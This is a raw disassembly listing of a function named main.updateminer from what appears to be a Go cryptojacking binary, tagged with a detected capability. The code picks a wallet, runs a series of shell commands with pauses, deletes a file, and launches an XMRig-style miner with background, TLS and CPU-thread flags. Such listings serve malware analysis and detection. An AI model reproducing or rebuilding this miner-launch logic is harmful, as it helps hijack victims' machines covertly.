Function at 0x6432a0
Capabilities:
Reference http user-agent string

Disassembly:
lea r12, [rsp - 0xc8]
cmp r12, qword [r14 + 0x10]
jbe 0x643976
push rbp
mov rbp, rsp
sub rsp, 0x140
mov qword [rsp + 0x150], rax
movsxd rcx, dword [0x0098c0e0]
nop
cmp rcx, 5
jg 0x6432e5
mov edx, 3
lea rsi, [0x006d0c35]
nop
jmp 0x64338b
cmp rcx, 9
jg 0x643305
cmp rcx, 5
mov edx, 4
lea rsi, [0x006d0e16]
nop dword [rax + rax]
jmp 0x64338b
lea rdx, [rcx - 0xa]
cmp rdx, 9
ja 0x643322
cmp rcx, 5
mov edx, 5
lea rsi, [0x006d1009]
nop
jmp 0x64338b
lea rdx, [rcx - 0x19]
cmp rdx, 0x16
ja 0x64333e
cmp rcx, 5
mov edx, 5
lea rsi, [0x006d100e]
jmp 0x64338b
lea rdx, [rcx - 0x30]
cmp rdx, 0xf
ja 0x643360
cmp rcx, 5
mov edx, 5
lea rsi, [0x006d100e]
jmp 0x64338b
cmp rcx, 0xfa
jl 0x64337b
cmp rcx, 5
mov edx, 5
lea rsi, [0x006d1013]
jmp 0x64338b
cmp rcx, 5
mov edx, 1
lea rsi, str.0_Sj9CkGcTqslY__3DKLMPVW__aghopruwx
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x58], rsi
jg 0x6433b8
mov ecx, 4
lea rdi, [0x006d0e1a]
jmp 0x643437
cmp rcx, 9
jg 0x6433cc
mov ecx, 6
lea rdi, [0x006d124e]
jmp 0x643437
lea rdi, [rcx - 0xa]
cmp rdi, 9
ja 0x6433e4
mov ecx, 4
lea rdi, [0x006d0e1e]
jmp 0x643437
lea rdi, [rcx - 0x19]
cmp rdi, 0x16
ja 0x6433fc
mov ecx, 6
lea rdi, [0x006d1254]
jmp 0x643437
lea rdi, [rcx - 0x30]
cmp rdi, 0xf
ja 0x643414
mov ecx, 6
lea rdi, [0x006d125a]
jmp 0x643437
cmp rcx, 0xfa
jl 0x64342b
mov ecx, 7
lea rdi, [0x006d14fa]
jmp 0x643437
mov ecx, 3
lea rdi, [0x006d0c38]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x50], rdi
call sym.main.randomwallet
mov ecx, 0x646e6977
cmp ecx, 0x646e6977
jne 0x64396d
movsxd rdx, dword [0x0098c0e0]
nop
nop
cmp rdx, 2
jl 0x64396d
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x130], xmm15
mov qword [rsp + 0x138], 0x1d
lea rdx, [0x006db73a]
mov qword [rsp + 0x130], rdx
lea rax, [0x006d0c2f]
mov ebx, 3
lea rcx, [rsp + 0x130]
mov edi, 1
mov rsi, rdi
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
movups xmmword [rsp + 0x100], xmm15
movups xmmword [rsp + 0x110], xmm15
movups xmmword [rsp + 0x120], xmm15
mov qword [rsp + 0x108], 2
lea rdx, [0x006d0b8c]
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x118], 3
lea r8, [0x006d0c32]
mov qword [rsp + 0x110], r8
mov qword [rsp + 0x128], 0xb
lea r9, [0x006d25a8]
mov qword [rsp + 0x120], r9
lea rax, [0x006d2b20]
mov ebx, 0xc
lea rcx, [rsp + 0x100]
mov edi, 3
mov rsi, rdi
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
movups xmmword [rsp + 0x130], xmm15
mov qword [rsp + 0x138], 0x1d
lea rdx, [0x006db73a]
mov qword [rsp + 0x130], rdx
lea rax, [0x006d0c2f]
mov ebx, 3
lea rcx, [rsp + 0x130]
mov edi, 1
mov rsi, rdi
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
movups xmmword [rsp + 0x130], xmm15
mov qword [rsp + 0x138], 0x12
lea rdx, [0x006d4fd7]
mov qword [rsp + 0x130], rdx
lea rax, [0x006d0c2f]
mov ebx, 3
lea rcx, [rsp + 0x130]
mov edi, 1
mov rsi, rdi
call sym.os_exec.Command
nop
call sym.os_exec._Cmd_.Run
movabs rax, 0x12a05f200
call sym.time.Sleep
movups xmmword [rsp + 0x100], xmm15
movups xmmword [rsp + 0x110], xmm15
movups xmmword [rsp + 0x120], xmm15
mov qword [rsp + 0x108], 2
lea rdx, [0x006d0b8c]
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x118], 3
lea rdx, [0x006d0c32]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x128], 0xb
lea rdx, [0x006d25a8]
mov qword [rsp + 0x120], rdx
lea rax, [0x006d2b20]
mov ebx, 0xc
lea rcx, [rsp + 0x100]
mov edi, 3
mov rsi, rdi
nop dword [rax]
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
movups xmmword [rsp + 0x130], xmm15
mov qword [rsp + 0x138], 0x1d
lea rdx, [0x006db73a]
mov qword [rsp + 0x130], rdx
lea rax, [0x006d0c2f]
mov ebx, 3
lea rcx, [rsp + 0x130]
mov edi, 1
mov rsi, rdi
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
movups xmmword [rsp + 0x130], xmm15
mov qword [rsp + 0x138], 0x12
lea rdx, [0x006d4fd7]
mov qword [rsp + 0x130], rdx
lea rax, [0x006d0c2f]
mov ebx, 3
lea rcx, [rsp + 0x130]
mov edi, 1
mov rsi, rdi
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
mov eax, 0xb2d05e00
call sym.time.Sleep
lea rax, [0x006d25a8]
mov ebx, 0xb
call sym.os.Remove
movabs rax, 0x12a05f200
call sym.time.Sleep
movups xmmword [rsp + 0xe0], xmm15
movups xmmword [rsp + 0xf0], xmm15
mov qword [rsp + 0xe8], 2
lea rdx, [0x006d0b8a]
mov qword [rsp + 0xe0], rdx
xor eax, eax
lea rbx, [0x006d2b38]
mov ecx, 0xc
mov rdi, qword [rsp + 0x150]
mov rsi, qword [rsp + 0x158]
lea r8, [0x006da4df]
mov r9d, 0x1b
call sym.runtime.concatstring3
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0xf0], rax
lea rax, [0x006d0c2f]
mov ebx, 3
lea rcx, [rsp + 0xe0]
mov edi, 2
mov rsi, rdi
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
movabs rax, 0x12a05f200
call sym.time.Sleep
movups xmmword [rsp + 0xe0], xmm15
movups xmmword [rsp + 0xf0], xmm15
mov qword [rsp + 0xe8], 2
lea rdx, [0x006d0b8a]
mov qword [rsp + 0xe0], rdx
lea rdi, [rsp + 0x70]
lea rdi, [rdi - 0x10]
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.0046c826
mov rbp, qword [rbp]
mov qword [rsp + 0x78], 0x22
lea rdx, [0x006de957]
mov qword [rsp + 0x70], rdx
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x88], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x98], 4
lea rdx, [0x006d0e22]
mov qword [rsp + 0x90], rdx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0xa8], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0xb8], 3
lea rdx, [0x006d0c3b]
mov qword [rsp + 0xb0], rdx
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0xc8], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xd8], 0x111
lea rdx, str.__k___cpu_max_threads_hint75___tls___tls_fingerprint420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14___huge_pages_jit___asmauto___http_host127.0.0.1___http_port0___http_access_tokennull___api_idnull___api_worker_idnull___randomx_init_1___background
mov qword [rsp + 0xd0], rdx
xor eax, eax
lea rbx, [rsp + 0x70]
mov ecx, 7
mov rdi, rcx
call sym.runtime.concatstrings
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0xf0], rax
lea rax, [0x006d0c2f]
mov ebx, 3
lea rcx, [rsp + 0xe0]
mov edi, 2
mov rsi, rdi
call sym.os_exec.Command
mov qword [rsp + 0x68], rax
lea rax, [0x00697520]
call sym.runtime.newobject
lea rdx, [sym.main.updateminer.gowrap1]
mov qword [rax], rdx
cmp dword [0x0098c4d0], 0
jne 0x643957
mov rcx, qword [rsp + 0x68]
jmp 0x643964
call sym.runtime.gcWriteBarrier1
mov rcx, qword [rsp + 0x68]
mov qword [r11], rcx
mov qword [rax + 8], rcx
call sym.runtime.newproc
add rsp, 0x140
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.main.updateminer